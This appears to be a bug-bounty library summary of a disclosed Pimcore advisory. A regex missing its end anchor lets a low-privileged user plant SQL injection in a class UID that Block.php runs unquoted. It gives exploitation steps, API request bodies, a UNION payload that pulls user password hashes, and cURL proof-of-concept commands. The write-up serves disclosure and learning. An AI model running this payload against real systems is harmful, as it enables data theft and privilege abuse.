# Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name

Missing `$` anchor in Pimcore ClassDefinition UID regex lets an objects-permission user store a SQL payload as classId, executed unquoted in Block.php on object load.

- Payout: Research
- Severity: high
- Program: Pimcore
- Found by: dhairya7760
- Disclosed: 2026-08-13
- CVE: CVE-2026-55072
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2mhj-fhvg-v428
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2mhj-fhvg-v428
- Tags: area:web domain:web impact:data-leak impact:pii-leak impact:privesc kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:sqli

**Target:** Pimcore Studio API class definition / data object loader (PHP, MySQL)
**Root cause:** ClassDefinition UID validation regex `/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/` lacks a trailing `$`, so only the prefix is validated and arbitrary SQL can be stored as classId. Block.php then concatenates `$object->getClassId()` into `object_store_<classId>` without `quoteIdentifier()`.
**Steps:**
1. Authenticate as a user with only the `objects` permission: `POST /pimcore-studio/api/login` with `{"username":"lowpriv","password":"password"}`.
2. Create class with malicious UID: `POST /pimcore-studio/api/class/definition/configuration-view/detail/create` body `{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}` — passes regex since `1` matches prefix.
3. Add a `Block` field named `myblock` to PocClass and save.
4. Create object: `POST /pimcore-studio/api/data-objects` with `{"className":"PocClass","parentId":1,"key":"poc-object"}`; note returned ID.
5. Fetch `GET /pimcore-studio/api/data-objects/42`; Block::load() runs `SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users-- WHERE oo_id = 42`, returning user password hashes in the block field.
**How found:** Noticed the ClassDefinition regexes had a leading `^` but no trailing `$` (incomplete fix from commit dbe1d131e4), compared against Fieldcollection's correct `/^[a-zA-Z]\w*$/` pattern, then traced where classId is used unquoted — finding Block.php still concatenates it while Dao.php was hardened with quoteIdentifier().
**Exploitation:** Low-privileged editor stores a UNION payload as the class UID, then any load of an object of that class executes the injected query; the `-- ` comment truncates the WHERE clause and UNION rows are returned in the Block field of the API response, exfiltrating arbitrary tables including users password hashes.
**Insight:** When a fix commit adds an anchor or escaping in one DAO, grep for every other consumer of the same value: here Dao.php was patched but Block.php's six sibling queries were not. Also test regex validators with a valid prefix followed by junk — a missing `$` is invisible unless you append payload after a matching prefix.

## Proof of concept (copied exactly from the original report)

**cURL request creating class with SQL-injecting UID**

```
curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'
```

**PHP sandbox proving regex bypass**

```
var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));
// int(1) — PASSES, no exception thrown

var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));
// int(0) — BLOCKED, correct behavior with $ anchor
```

**cURL fetching object to trigger Block.php injection**

```
curl -s -b /tmp/cookies.txt \
  "https://your-pimcore/pimcore-studio/api/data-objects/42"

When the object loads, `Block::load()` executes:

SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--
WHERE oo_id = 42
```

